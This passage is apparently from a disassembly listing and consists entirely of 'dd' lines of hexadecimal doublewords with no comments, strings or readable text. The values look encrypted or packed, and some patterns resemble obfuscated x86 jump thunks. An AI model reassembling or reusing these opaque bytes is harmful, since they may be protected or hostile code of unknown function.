		dd 0BA9B02BAh, 0A004329Bh, 61FBAFB9h, 0A23DE45Fh, 0C2EBA5F7h
		dd 98D0F1D0h, 4BC8h, 2B157A00h,	0AE1757B8h, 659FC827h
		dd 0AA4A0C44h, 39900F6Bh, 0B2C92FE2h, 34AD178Ch, 0C9AD3415h
		dd 99D18BF7h, 2FE25306h, 0D6E88CC9h, 0C1BAF26Ah, 0A1F48055h
		dd 0E2EF5AC5h, 5978C92Fh, 8764F0h, 72000000h, 129DA757h
		dd 81337B07h, 76129B37h, 74A097E9h, 4ED7F6CFh, 0F8511370h
		dd 7EE75DC6h, 0EC8935E1h, 1FC520C2h, 964EB886h,	30FA810Fh
		dd 61CDB6DCh, 7CD58FF4h, 7B1F963Ah, 37BE3BE4h, 20B998C9h
		dd 5B3FA51Eh, 0DA430165h, 522AB3FBh, 759E0836h,	912037DAh
		dd 9C052424h, 0A48EF5BDh, 8EEA23CFh, 6C017011h,	7F1B7FCFh
		dd 0EB9539E0h, 2CB392C2h, 0C2EB956Dh, 41377F5Eh, 0C9ADC960h
		dd 0EB95A356h, 4D0524C2h, 129B37FFh, 0CA38E976h, 0B987CF7Bh
		dd 0A51F874Ch, 0A53C1D3Ch, 9BBACC84h, 1DC73C02h, 0AB198AB4h
		dd 0D909AD32h, 82F9DF23h, 9A4ABB98h, 2C980D33h,	0A6168BB5h
		dd 0F23C473Fh, 0FE61A005h, 0AEBB473Bh, 0BB93FE8Ch, 20E5AF71h
		dd 36442001h, 95A8685Ch, 3990D819h, 0FA759E07h,	27950C8Dh
		dd 9B344255h, 25BADEBAh, 0AEBAA776h, 0A71FDA45h, 89A8AEBAh
		dd 0F96DEFFh, 129Bh, 71152900h,	30942BEEh, 83BD9CC9h, 1938A123h
		dd 4FDB6951h, 0C0FE67D5h, 4678E163h, 0C6F861DBh, 427CE55Fh
		dd 0C7F960E4h, 447AE361h, 0C6F861DBh, 457BE25Ah, 0EDFA63E1h
		dd 815F5457h, 4C7h, 4EF8300h, 5C243C87h, 81E28952h, 4C2h
		dd 4EA8100h, 87000000h,	895C2414h, 89532414h, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 242C895Ch, 6CAFBB53h, 0E3C10E82h
		dd 5E3C102h, 216DEB81h,	0DA893AEBh, 4EC835Bh, 81242489h
		dd 42404h, 535D0000h, 8BBh, 1DEB8100h, 11F1B06h, 1DC381EBh
		dd 891F1B06h, 2C8B5B13h, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 2434FF5Ch, 4C4815Ah, 0E9000000h, 0FFF94346h
		dd 0B805C936h, 64B3B3Ah, 0E0FFC503h, 79E3C924h,	4037F1D4h
		dd 3F494D78h, 31C3B514h, 1534EBBh, 44D69C16h, 519140FBh
		dd 4A1ACB81h, 7924312Dh, 55C8EA4Ah, 63515681h, 5995F2EEh
		dd 2715A6E5h, 70578048h, 1A9CBCADh, 66E7DDFDh, 5FFC1F0Fh
		dd 4490C5C3h, 181014B6h, 6F4BA63Dh, 27160FDFh, 3BD84533h
		dd 22A7C8Eh, 2C359FBCh,	36D03DD0h, 443D77DEh, 31FF2F3Ch
		dd 5A7BBCD1h, 4C07E3EFh
		dd 8EBh, 66B40000h, 9BE94E11h, 68000004h, 64B3D43h, 0F942ADE9h
		dd 3DA668FFh, 0A3E9064Bh, 68FFF942h, 64B3F02h, 0F94299E9h
		dd 6AD230FFh, 0DB89FDC3h, 68D44C72h, 0DA82FFC1h, 69DB4D73h
		dd 0C23AE2C0h, 7749E064h, 0C3FD5410h, 6B55FC60h, 0A7E34AFAh
		dd 589D5CC3h, 782EC2E5h, 0B82B15CAh, 14724C04h,	8EF7C950h
		dd 99397FD6h, 0ADE7781Ch, 0ECCF74B5h, 0CCB54CDh, 8CC2EC73h
		dd 5EC62BF7h, 97FBB092h, 2ECh, 0EA5ACDF3h, 2B1510A2h, 0F24109BBh
		dd 28650DFEh, 0AF0D724Ch, 3B5F1736h, 7496DAA4h,	5A1A3BCFh
		dd 1A224C3Eh, 5A457C8h,	425C2ECh, 2CDDAD76h, 6EB5FB64h
		dd 2CC4C051h, 0FEDF85FEh, 0D7CF059Ah, 2F0ED452h, 0D560F0B6h
		dd 7CC2EB1h, 112FD20Fh,	30460EB6h, 0DA4B7511h, 88FDC36Ah
		dd 0D71479DCh, 0B92086C2h, 3182Dh, 26960C00h, 0EF55B18Fh
		dd 54087846h, 0FE5EC3FDh, 45FF6957h, 0F666CEECh, 437DD490h
		dd 0F7C960E4h, 4779D08Ch, 8BCF66DEh, 57C970EFh,	5402C2E5h
		dd 579B37E6h, 309411C8h, 0BA9BBAC9h, 0D0EA41DEh, 5D63CF7Bh
		dd 395D7CE8h, 8A23A107h, 0B9252B4h, 0E557E094h,	74F055C2h
		dd 57E9A2D1h, 4FDB4284h, 2B5h, 68C17BE9h, 0DF76EE56h, 72DB81E1h
		dd 0C069D34Ch, 75DC88FEh, 0F96FCD57h, 69DCE24Bh, 0F56C52FBh
		dd 73D0EE47h, 781C58F1h, 0E55734E7h, 71C395C2h,	76129B37h
		dd 7BD082E9h, 73EACBCFh, 0E55829ECh, 46D0ABC2h,	0A97385E1h
		dd 1D2AEFBh, 4F1C0000h,	780A6ED6h, 32F2F41Eh, 78E1A9E8h
		dd 367DD46h, 5341F867h,	62C2C930h, 0FDB594E2h, 0EF423054h
		dd 3BA31507h, 0DE72347Ch, 9A0D3357h, 9906622Ah,	0CF73D2ABh
		dd 59A0322h, 0C2EBD252h, 5AED3942h, 0D45FF64h, 0AFEDCB3Bh
		dd 3E68FBh, 320C0000h, 0AA8B12D2h, 9B3750E2h, 76127612h
		dd 0FC63D948h, 0C930943Dh, 78E7AF8Eh, 0CF749FE2h, 0C930A2Bh
		dd 0C2EC8949h, 53E6304Bh, 88F1A837h, 0FBDAC2ECh, 0A82185B3h
		dd 0D4D2FBB0h, 60000000h, 0A6ED64Fh, 5810CC34h,	9E89FFC1h
		dd 30945A01h, 735273C9h, 5BF2917h, 6CF5BD9Ch, 1773F152h
		dd 942DEC73h, 0BF9EC930h, 340A6EF7h, 0AC8D14D0h, 270F05DEh
		dd 3179CFBCh, 0F46B960Fh, 0C92FF645h, 2F86A786h, 2FFAE3B0h
		dd 71F350C9h, 0BBF29ED8h, 0A05140DFh, 0AB8ACF76h, 3297F1CFh
		dd 0AA8B12D2h, 485AB8D8h, 0E7C6AD63h, 0EB16704Eh, 0E9E0C574h
		dd 62706C2h, 0A59EDAA3h, 3970E7Bh, 159h, 0CC65D74Dh, 7BD292F2h
		dd 0D67FDD45h, 6CC577E8h, 0D970F452h, 5DCB31FBh, 15704EE7h
		dd 0C93806AFh, 1F84BA13h, 2C480CA5h, 0E55508B3h, 2597C1C2h
		dd 0C26BD94Fh, 0A69887FCh, 3F1E873Dh, 3093F9A0h, 0D2F3D2C9h
		dd 8E4DD2B6h, 3FC93094h, 1F3EA601h, 4F4CFE57h, 0C9F76ED6h
		dd 741E85Ch, 0D946226Bh, 0CF74E273h, 5A019EFAh,	73C2EC46h
		dd 0F2A93652h, 0DBC2EC45h, 0CDBFDBFAh, 50E9D431h, 0BDD9917Bh
		dd 0A3EC2583h, 5AC41DE4h, 0E0067F0Dh, 433CB0E0h, 0A154CB62h
		dd 30C2EBABh, 0F06F920Eh, 0C2EBAB49h, 0CA82A382h, 7CD58FF4h
		dd 87FE442h, 7D197D5Ch,	0EBAB37E2h, 38AE90C2h, 1534158Ch
		dd 9650C45Dh, 0E2000000h, 76129B37h, 7BD086E9h,	7FE6C7CFh
		dd 460E441h, 531BC93Ah,	0A05FC4FAh, 0E5587C3Fh,	22A205C2h
		dd 30547554h, 652D970Eh, 803563FCh, 0D2A90B3Fh,	0CA7AEB48h
		dd 2FE85D63h, 0DECF3F2h, 1D79585Fh, 5133E679h, 0B5947B1Fh
		dd 0E55A64FDh, 9DDC6724h, 0E2FB626h, 0D7C53D7Ch, 4D6CF56Fh
		dd 17294D6Ch, 0E27B33B1h, 6EF765DCh, 940BF650h,	7B1EBBE5h
		dd 7FE6C7E6h, 5AB27C07h, 60CD5922h, 0D6E84103h,	0A6EF76Dh
		dd 0BC4AF16Eh, 0A2837B1Eh, 37EEAh, 49CC0000h, 67D54FFBh
		dd 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch, 0E361C7F9h
		dd 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 5455EDFAh,	4C5815Dh
		dd 83000000h, 2C8704EDh, 0D8685C24h, 89000066h,	64682404h
		dd 89000058h, 7D682414h, 8900001Ch, 0CCBD242Ch,	0B870063Dh
		dd 76517A4Bh, 545DE829h, 8124148Bh, 4C4h, 4EC8300h, 8F240489h
		dd 148B0842h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 582434FFh, 4C481h, 2BE90000h, 98FFF93Eh, 1CAE7C9h, 8D0D565Ch
		dd 0A1F30B63h, 80B88929h, 3064B40h, 0D3E0FFC5h,	1831D6B5h
		dd 2665A0CAh, 8C3151A7h, 0BE60E567h, 95008BE3h,	59387126h
		dd 0F779C181h, 542F1453h, 0D30E7BEAh, 0EF6C4966h, 5357E93Dh
		dd 0EB25EBF5h, 7A1FD004h, 556E966h, 950F0000h, 54B08E27h
		dd 9B073990h, 49B68821h, 0A2043A93h, 7FA98B22h,	10B92B9Dh
		dd 0A40DB72Eh, 1CB5279Ah, 0AA03C122h, 66158AEEh, 67C2E553h
		dd 0D64F8331h, 5FC9F76Eh, 0F7D686FAh, 4103605Eh, 0C77DE6D8h
		dd 1304605Eh, 5177826Fh, 94F0CEDCh, 5668F1D0h, 0A8A722EBh
		dd 0B86C2F8Dh, 0C33E0099h, 83F88019h, 95EEA597h, 5BC8F689h
		dd 195170E9h, 6206BE27h, 447AEA5Ch, 0DAFB62E2h,	9E053B92h
		dd 81F3973Eh, 52EA0D48h, 0EFD1992Eh, 3551C874h,	0BB6F0B47h
		dd 91D926B4h, 0E88C38AFh, 0D0F43C9Ah, 8EC67C93h, 790B6F17h
		dd 0D7482E8Ch, 0C9302524h, 11F684A5h, 83F8B057h, 9547BA97h
		dd 23A1023Ch, 0CE7325BAh, 3942C92Fh, 0ED9C08EDh, 635901F3h
		dd 0EB000000h, 0F76ED64Fh, 3094AF68h, 56680CC9h, 403B73E9h
		dd 0D84723D6h, 0C9309421h, 0AA51CEAAh, 23C93094h, 5D6B2302h
		dd 1F4B3E9h, 10Ah, 0D74FB800h, 5ACAF46Dh, 651773EAh, 8AA5463Dh
		dd 0CC2270BDh, 49C9AAE6h, 0A11E2068h, 2100BC24h, 9E88F3B8h
		dd 46EF55B1h, 0F0590B78h, 0B6E1E694h, 2A8CD53h,	2B15F84Ah
		dd 7C420ABAh, 63E1450Ah, 81E5DB42h, 6EF765DCh, 0E9F76E4Fh
		dd 0CFF18892h, 9EA0E854h, 2B15BC28h, 0AD930ABAh, 87E38735h
		dd 30946118h, 0ED546AC9h, 0D6F7D64Fh, 3B40079Eh, 0B1AA0AEFh
		dd 844B01F4h, 0F9000000h, 0F6BD94Fh, 0A6ED631h,	3093E695h
		dd 8EC6E7C9h, 50B92917h, 0C8BE5C3Ah, 0DD49771Eh, 0FEDFFE67h
		dd 0CB572C67h, 0F31FF86Eh, 4033137Ah, 93ADC9E8h, 0A356C930h
		dd 24C9307Fh, 0C56C2405h, 5BC88DFBh, 3551C8E9h,	7F0BCE51h
		dd 9DBCC930h, 0C676EBD5h, 0B763185Fh, 0F49D0252h, 5D3301h
		dd 4F810000h, 0CCF26BD9h, 7E3DA255h, 4FC93094h,	0E8D64F6Eh
		dd 635DC478h, 0A3DB4202h, 94FE4ED8h, 70D643EFh,	4FEF5DF4h
		dd 90F46DD7h, 0C78F35AEh, 30949E58h, 40FC67C9h,	877AE7D9h
		dd 30946118h, 6A4B6AC9h, 510897F3h, 7AC93094h, 84AED55Bh
		dd 8995EE88h, 0F4B340A4h, 1F501h, 4F470000h, 0CEF069D3h
		dd 0B58BEF55h, 37AE904Ch, 7D35148Dh, 3BE79CE4h,	53FA62DEh
		dd 54307D15h, 74B061CBh, 0DB88FACFh, 0BABF0D36h, 28166028h
		dd 0BD9C05B7h, 0CA3B059Ch, 0E9D7B31Ah, 7051C87Ch, 279D0638h
		dd 0A97821BEh, 3249C2EBh, 0F26F51E8h, 0C73C024Ah, 198AB41Dh
		dd 245632ABh, 6A57D9E9h, 16CE38CBh, 0EB8FAE8Fh,	0EBBAC574h
		dd 6F2706C2h, 0AA35F451h, 0C2EBB9EFh, 0BCD8F9D8h, 0BA9447D8h
		dd 1435C2EBh, 0A0DBC55Ch, 0B82C9976h, 0D9BF2711h, 1574FBAFh
		dd 0C6000001h, 4C419B37h, 730DEEABh, 4061E343h,	509A0561h
		dd 99CF744Ah, 0A61F21B8h, 3CA9973Eh, 4B751188h,	0CDF36ADAh
		dd 5F7EE755h, 9B08367Eh, 0D5AEB029h, 0CD77EC49h, 59F25264h
		dd 5003FBB0h, 0B1000000h, 8BC2B15h, 8A32AF91h
		dd 11A5E3ABh, 0C7FE084h, 4FC93095h, 32AB1171h, 0C2D5B13h
		dd 944F0A95h, 0FB80C930h, 40A6982Fh, 743C1D84h,	7713A232h
		dd 0F09B6113h, 0DDB4B07Fh, 0AF7326B9h, 7554C92Fh, 0AF47A23Dh
		dd 0A180C92Fh, 869C08h,	372E0000h, 0E976129Bh, 0CF74A097h
		dd 2A4ED7F6h, 470FAD14h, 0F1580C79h, 0DE37E795h, 0CA66FA7h
		dd 5B097A44h, 4E995DC2h, 0B3C8C2ECh, 0B4198A67h, 2809904Ch
		dd 0F0536D09h, 0EBAD044Ch, 35AACE47h, 0C9378EB9h, 0F2CC5574h
		dd 324AD391h, 6808DD49h, 0B22D492Dh, 0C9218E07h, 0CDA9E1C0h
		dd 0B12B97A9h, 0CFE666F9h, 4327CF6Ch, 0EC4D1DDCh, 2583AAC2h
		dd 0EB196A79h, 0F99DBC9Dh, 7AE361C7h, 83DA811Eh, 0D2F3C2ECh
		dd 0A012BBF3h, 9B0D9B37h, 0F36C0829h, 0CF7BD57Bh, 6E0A93B2h
		dd 6B5BCD1Ch, 1A52E40Dh, 0AC05BF24h, 2AB33192h,	15FB0DB5h
		dd 0A0248023h, 219B0739h, 0A31986B8h, 0E05CC6BDh, 34ABCFABh
		dd 62B5E985h, 55077846h, 0DB473C74h, 0F65F057Eh, 70E95BC8h
		dd 1274D14Eh, 4BF96C52h, 0B6D2F3D2h, 0EFA71D88h, 0A9750E76h
		dd 96DD74Ch, 8B12CA37h,	8F2D94AAh, 0D67F3716h, 50C97BE8h
		dd 14C4h, 2D497600h, 0A263B413h, 58784D3h, 645AC3E2h, 2B634202h
		dd 67D54F99h, 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch
		dd 0E361C7F9h, 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 8950EDFAh
		dd 9FBF57E0h, 0C143147Dh, 814708E7h, 5A63E7C7h,	97F78158h
		dd 8107844Dh, 0A3B085C7h, 5FF80194h, 8704E883h,	575C2404h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	89502414h, 405E0h
		dd 0E8830000h, 24048704h, 2434895Ch, 8904EC83h,	0D6B9240Ch
		dd 8171293Eh, 0E2794BC9h, 6E98116h, 81649C6Bh, 0E00AEEE1h
		dd 71F18122h, 815F7F0Dh, 0F3CC79E9h, 59CA8956h,	24348B54h
		dd 4C481h, 0BB530000h, 8, 0B951F301h, 0
		dd 1189D901h, 348B5B59h, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 24148B5Ch, 81E78957h, 4C7h, 4C78300h, 5C243C87h
		dd 0F93885E9h, 1F9820FFh, 4B45D0B8h, 0FFC50306h, 0BD0A97E0h
		dd 1F4AD419h, 0DEB88D15h, 6A844467h, 160E8B11h,	7829D341h
		dd 68A6746Eh, 0E7E7F241h, 869E515Fh, 0F2179B16h, 0B28BA13Dh
		dd 1D3D4154h, 3EAEF207h, 0B7935C0Ah, 0C34F950h,	5E87Bh
		dd 6BA90000h, 5335E70Ah, 0E9595BF5h, 0Eh, 735845E4h, 0B318E0Eh
		dd 8F9C8FD9h, 0C181C539h, 5B30h, 0FE8h,	8855500h, 614849D2h
		dd 26A7348Fh, 55DBFD61h, 5E08C780h, 8159A4BFh, 5C78151h
		dd 60AE7EBDh, 66C9BF0Fh, 9A36EF81h, 0F531FF61h,	6ABE525Ah
		dd 5E3ADBF9h, 0FFB9EA81h, 0E3B84A6Fh, 814222D2h, 5072B6EAh
		dd 0C18B662Bh, 9BF281h,	6E931D4h, 1E000000h, 68545ED6h
		dd 0F911890Eh, 8304E983h, 850F01EFh, 0FFFFFFC1h, 8D8D70B3h
		dd 64B4846h, 68A0Fh, 0BD010000h, 6441EBDh, 2F5D8D89h, 6A0644h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 11E9A7C3h, 74000000h, 3D3D9C25h, 6B2F4154h, 18481A60h
		dd 0BCAADD85h, 67985C7h, 61600644h, 880F0000h, 3, 0C7D88B66h
		dd 44107185h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 1492D253h, 0FFAB0F55h
		dd 440C0DB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0BE4DFEAFh, 145E1664h, 1DB59D8Bh
		dd 95FF0644h, 6440BF9h,	9E19509h, 890F0644h, 5,	0C7E28166h
		dd 0FF006AF4h, 441C4D95h, 0EBC08B06h, 0E40EE96Ch, 0C7033C10h
		dd 5927DC0h, 0CFCB095Eh, 0A9A5A197h, 0BAD331A6h, 0FDB7A77Bh
		dd 0BEBEC7C1h, 4D77EFD7h, 0ADE6A43Dh, 2A4BA5DBh, 6CA8614Bh
		dd 0C11C42C5h, 7E9BB8F0h, 6E52CDB3h, 47DD9002h,	6D5AEEDCh
		dd 3847B9EEh, 7E6914B6h, 37DE371h, 62194196h, 0F6CAAA1Bh
		dd 8F17249Dh, 7662828Ah, 0FED33537h, 1FE9E589h,	18B0D299h
		dd 1E04EB5Dh, 0E918B3EBh, 0CB5h, 4B4A7268h, 364CE906h
		dd 6D68FFF9h, 0E9064B4Bh, 0FFF93642h, 4B4D5E68h, 3638E906h
		dd 6A68FFF9h, 0E9064B4Eh, 0FFF9362Eh, 4B51A868h, 3624E906h
		dd 0D368FFF9h, 0E9064B52h, 0FFF9361Ah, 4B53CD68h, 3610E906h
		dd 0DD47FFF9h, 7CE8D67Fh, 0E35F61C8h, 71EED079h, 0EA5C62CBh
		dd 27F1D37Ah, 0B811D335h, 0CA51F86h, 0C46DCF32h, 72DB89FAh
		dd 0ECD5236h, 0BFC2E54Bh, 2B155BE9h, 36A61AB7h,	0E7AF8E17h
		dd 61F86CD9h, 0E77EE65Fh, 6BF26AD9h, 0D9497713h, 5CC4FA63h
		dd 0F289C1E0h, 0EA5ACB28h, 590B7D43h, 0CDF74F3Dh, 96B97937h
		dd 0DC4977DEh, 0FC5B73Bh, 30114D84h, 0F32E97A9h, 3084AD6Ch
		dd 74F056C9h, 42F96602h, 8BC93084h, 3AA8BAAh, 460AD45h
		dd 8118CC3Ah, 84BF7AE5h, 2908C930h, 0BB244008h,	0CF74A4C9h
		dd 27B82100h, 0C2EC6470h, 2A0F1B60h, 0FBB07FBAh, 863D3D4Fh
		dd 8DBE5495h, 4A95C5h, 95F10000h, 1A8537ABh, 0C2EC755Fh
		dd 103B4968h, 0CBCEE6BAh, 3797256Dh, 0E976129Bh, 0CF749F53h
		dd 0E42D96A8h, 98285AC0h, 0B2FADB7Fh, 0EAF7B6C4h, 0E9597D45h
		dd 0C4E5C478h, 5C13C25Dh, 0FE85C2ECh, 7B57CF34h, 0A89CFBB0h
		dd 2E000000h, 0D3DD64Fh, 80B8E54Ah, 0F7C95071h,	744AD391h
		dd 0F31550Fh, 0AD142A92h, 0FFB7960Fh, 79EB5866h, 0F0674FD0h
		dd 35AEC92Fh, 0E7A655CAh, 1927C92Fh, 361736AEh,	8044A19Fh
		dd 7AB35F19h, 0E9CB811Eh, 2302CF73h, 0E924CC8Ah, 8DB2128Dh
		dd 0A2BC932h, 4EF6506Eh, 0F56FD9E7h, 0E1315C50h, 0A733AA7Dh
		dd 0A63h, 0BC15C73Dh, 0BA22282h, 0C66FCD35h, 7CD587F8h
		dd 0C960E442h, 6DDB41EBh, 5605EF7h, 59C8F65Fh, 0F744AE3h
		dd 0DCB8FC55h, 0E54A9843h, 0D56731C2h, 0C26BD94Fh, 0B9DD87FCh
		dd 3BA21A87h, 1BB241Ah,	3752E049h, 0E976129Bh, 0CF749F53h
		dd 9D029BBAh, 0C2EC88DAh, 9075A1DAh, 0FBB0A834h, 159C87F5h
		dd 5451CD4Ah, 0D44C1Ch,	4FFE0000h, 0C9F76ED6h, 0BF81E55Fh
		dd 24059C48h, 8A6AF56Ch, 8BC93099h, 6703AA1Ah, 0CAB34015h
		dd 56C94625h, 0C93089A3h, 6C240524h, 0EA73F152h, 398DFC8Eh
		dd 8C33E76Bh, 0A7EE82C4h, 328E5CC3h, 0F3CDCF74h, 0EF99D193h
		dd 710367CEh, 70D7D957h, 3E4C6DF4h, 0B1C31234h,	2627BA0h
		dd 0B7F1B940h, 69F6921Bh, 0C93324ECh, 16640021h, 36650CD7h
		dd 0E387CFC6h, 9DF96BDDh, 49D3FA3h, 34A81B25h, 6DC48CADh
		dd 0EA4FF553h, 7DE139F8h, 6823B72Eh, 22000009h,	8BB51CC0h
		dd 3E00A91Bh, 8DB31AC2h, 3F01A814h, 90B21BC9h, 0B2329488h
		dd 2C2251Bh, 8E2E95ABh,	38AC1927h, 2EB1D591h, 0C2E5496Bh
		dd 4FB80A5Ch, 0FCC26BD9h, 0DDB9DD87h, 30949742h, 591130C9h
		dd 0D64F42F0h, 5CC9F76Eh, 17DE41E8h, 0BAC93094h, 9EA01C84h
		dd 120B923h, 560E7749h,	0E064C1FFh, 66DE4779h, 909AE1FFh
		dd 299D42A3h, 5339ABBh,	1F4B3A1h, 0BC52h, 9B37E000h, 0C7E97612h
		dd 6CF74A0h, 7621BE27h,	66C2EC88h, 0B82C111Dh, 7DFBB0A3h
		dd 9Dh,	54156B19h, 7824F709h, 62D8831Ch, 0D0F1C2ECh, 28EE2A98h
		dd 0A9C93094h, 8CE88C09h, 188D52B2h, 35148DACh,	940BCE51h
		dd 9DBCC930h, 0C1384AD5h, 0B091CF74h, 86197D19h, 0C2EC67D3h
		dd 49D47BCh, 3A725325h,	4622A204h, 1F570D78h, 0B886E286h
		dd 5108974Dh, 7AC2EC68h, 4103655Bh, 6AA34F09h, 75B3910Eh
		dd 5C38C930h, 307318C3h, 0D890B1C9h, 18268FAEh,	0ECAA33A9h
		dd 0C9ADC944h, 4FD08CF7h, 0C930738Ch, 30541C3Dh, 747B19AFh
		dd 5DC4FACFh, 0F4766FFh, 65F15879h, 536h, 129B37D7h, 0BEBBE976h
		dd 3E00CF74h, 0A6871EC6h, 0ACEA98EEh, 698920EDh, 1B841D3Ch
		dd 0C2EC545Ch, 16FB275Ch, 0FBB06FAEh, 50947h, 39C2F500h
		dd 2B4FC66Ah, 7496EAB4h, 6E0A2BCFh, 91E6950Ah, 0C6E7C2ECh
		dd 535285B4h, 83CB2B96h, 9B785CC3h, 83E76CB1h, 0AF7A5D1Ch
		dd 74F6E19h, 64B141h, 679D9D72h, 0E461329h, 0A92BF56Ah
		dd 0E6A1FF3h, 88D6B07Ch, 63FC7679h, 1F6B6DB8h, 920E3011h
		dd 516F0B2Ah, 9F064EF6h, 6FCC89FBh, 88D4F9FEh, 0A3EA86C0h
		dd 4C4C58C7h, 0A08125B2h, 0DB89FAC4h, 0BB2181BFh, 3DA71C22h
		dd 0ECA485A4h, 5A0A7B45h, 6181E7FFh, 20B42DD2h,	777h, 0A009B311h
		dd 17BE269Eh, 0AA03B929h, 18B12B94h, 0AD04C026h, 51B7A58Fh
		dd 0A1043A93h, 4DB48A23h, 0B7846EFh, 0D0B4F059h, 0E5478C4Fh
		dd 0D96B3DC2h, 0F76ED64Fh, 0F09421B1h, 74C7916Fh, 0EC82F0CFh
		dd 0FA1C10F5h, 6E0A6E4Fh, 754BF150h, 0ECCD5410h, 0B5279AA4h
		dd 6F2AB5D1h, 10C2EC30h, 0B7960FB5h, 1A8E0C1h, 7C18C43Fh
		dd 1C2BE00Eh, 4C04DDB9h, 588F4AD5h, 26D1C2ECh, 97C2EC68h
		dd 0B2D6B2FBh, 0D45634C0h, 447A2D9Fh, 0A8377FDDh, 0C9307B6Eh
		dd 241A7E5Fh, 5C7952BBh, 58ACE383h, 89C1E079h, 62C88F10h
		dd 0B3C8C930h, 82228267h, 83E701F4h, 306F5D1Ch,	74F6EC9h
		dd 2457h, 2B15E500h, 64008BCh, 7947236Ah, 0F5CB520Ah, 6948D193h
		dd 0FB640048h, 0CF74B0F1h, 14801938h, 18h, 129B37A6h, 7BD84876h
		dd 0E178590Bh, 73EC88C0h, 0CF74B9DDh, 16A43D1Ch, 0ABA2B15h
		dd 5D077C42h, 0E33716F8h
		dd 2DB9207Dh, 66Bh, 0B41DBF25h,	3AA1A8Ah, 0BE17C53Dh, 14BD1F80h
		dd 0A108BC2Ah, 45A39983h, 9D08369Fh, 51B08E27h,	77C42EBh
		dd 0D4B0F45Dh, 0E546904Bh, 0DD6F39C2h, 9A0D9B37h, 0F06F0B2Ah
		dd 0CF74B15Ah, 152BB293h, 2BEE71B0h, 9CC2EC77h,	0C6F89CBDh
		dd 0A9E15Bh, 37B1599Fh,	2ABC58EAh, 78C9FE53h, 2C8BF9EFh
		dd 2429E2D2h, 0ACC86140h, 2AB80ADEh, 231D4FD6h,	11571FC5h
		dd 0CF503481h, 0AE659B21h, 261881A0h, 0E9AF06BEh, 37A8CC49h
		dd 0A8297D01h, 1C78E1C0h, 3C02C222h, 0A4851CC8h, 7CC473ECh
		dd 0DB4DA821h, 56CEF069h, 8C1377EEh, 0A8217BCDh, 0EF94DFFEh
		dd 58B39A43h, 93771249h, 0A48EF5B2h, 0E4D547BFh, 16AECE0h
		dd 375E0000h, 9097419Bh, 5E3FB93Bh, 0E6841B7Fh,	0E7CF73DEh
		dd 4615FC6h, 6ED7E940h,	69F692F6h, 0C2EBC5B2h, 39E07F1Bh
		dd 92C2EBC5h, 43DA92B3h, 36FF9ADCh, 4C7216EAh, 5A2169D3h
		dd 0C25D39D0h, 0A8209F17h, 0E7D991B0h, 516FC67Eh, 76E970F4h
		dd 0CF6BDA40h, 0CD2AF48Fh, 7B45EC58h, 0A7C35A0Ah, 0C59D5CC3h
		dd 0F2EC2EBh, 21760147h, 0C53FDA45h, 0A988C2EBh, 0E3166400h
		dd 9D50F175h, 23CF89C1h, 8EEA8EEAh, 0EC206A11h,	0DD4263C2h
		dd 0C2EC201Eh, 0A2C68EAFh, 304A033Dh, 0ABA2D0C9h, 95C79137h
		dd 7265018h, 78E45D63h,	2E97A930h, 74ECD2B6h, 6DF470D7h
		dd 0D5F46D4Ch, 990A349Dh, 0B2D6B22Bh, 2FC86E2Dh, 33B117C9h
		dd 0DCFD8BAAh, 0C8680B94h, 0BA29C92Fh, 3DA59B02h, 6318069Fh
		dd 593D45B7h, 840FC67h,	0D94AA773h, 405DC26Bh, 0BD3D8401h
		dd 0A1238319h, 30C44A38h, 0B5DB1278h, 0A3D1B594h, 39AD1DFDh
		dd 4133128Bh, 347C2A0Bh, 8242A39Dh, 8A85841Bh, 7BDB23h
		dd 7CC3916h, 9DBC259Fh,	7AE6D8BCh, 1D238AC2h, 66583CA8h
		dd 960F47FDh, 520996F2h, 7BD71D7Eh, 0BC54125Ah,	0CE671571h
		dd 355538F1h, 339C8AF8h, 0B4CEE150h, 8EFC98FCh,	9792F752h
		dd 772D9D7Ah, 0B34FE496h, 0EF3DA2EAh, 3EDD610Ah, 3422B61Fh
		dd 90000000h, 76129B37h, 0DB72C12h, 0B0D0DA45h,	3819CF74h
		dd 8BFBC5A1h, 296140D9h, 5135AF17h, 0D148F46Fh,	6311B8F0h
		dd 92254C2Dh, 43FE6105h, 84C2EC7Eh, 4F8537A5h, 0A3C76ED6h
		dd 1D161DD1h, 72EDA8DFh, 0C9306CC7h, 3E002100h,	13551DC7h
		dd 6C52367Fh, 0FFDE47F5h, 0B5FD67C1h, 4ED1B5D1h, 0C9306C8Bh
		dd 22541074h, 0BAD44B03h, 3BCF7497h, 0E1407E1Ah, 75ECD27Bh
		dd 249DA3C7h, 2F69F0B8h, 506E0A83h, 60044CF0h, 30C421FFh
		dd 0D84160C9h, 30739047h, 247101C9h, 9699DF40h,	928CF74h
		dd 92480F90h, 3348C2ECh, 0B1A202E7h, 2F53FBB0h,	0E1000000h
		dd 88419B37h, 7524AA8Fh, 910E6A4Bh, 0CF748F9Bh,	99083652h
		dd 49BBA23h, 0C2EC5755h, 0FE695776h, 3D036746h,	0CA531BC9h
		dd 225Eh, 9B37EC00h, 0DB487612h, 99D1F069h, 0B9CC62FDh
		dd 330DCF74h, 2D970ED3h, 0E3687E0Ch, 0BF6344C4h, 4FB5079Eh
		dd 3FCB6ED6h, 0ED7DE337h, 32DE074h, 7DE70000h, 0DC4876DFh
		dd 83FFC168h, 0D14E70D9h, 8AFCC26Bh, 0C75173DAh, 0D871F355h
		dd 6CC57FE6h, 0E44DEF52h, 52FB69DAh, 2EED7216h,	9FC2E543h
		dd 0D64F7BC9h, 5CC9F76Eh, 4FB28CE8h, 0F2E8EF2h,	56FFB796h
		dd 0BB2A8010h, 90B19009h, 0B5796BF4h, 0F1D0CF74h, 0D3320C68h
		dd 0E1A98811h, 0EC74B77Eh, 395D39C2h, 0EC73F3A6h, 0BDF5D4C2h
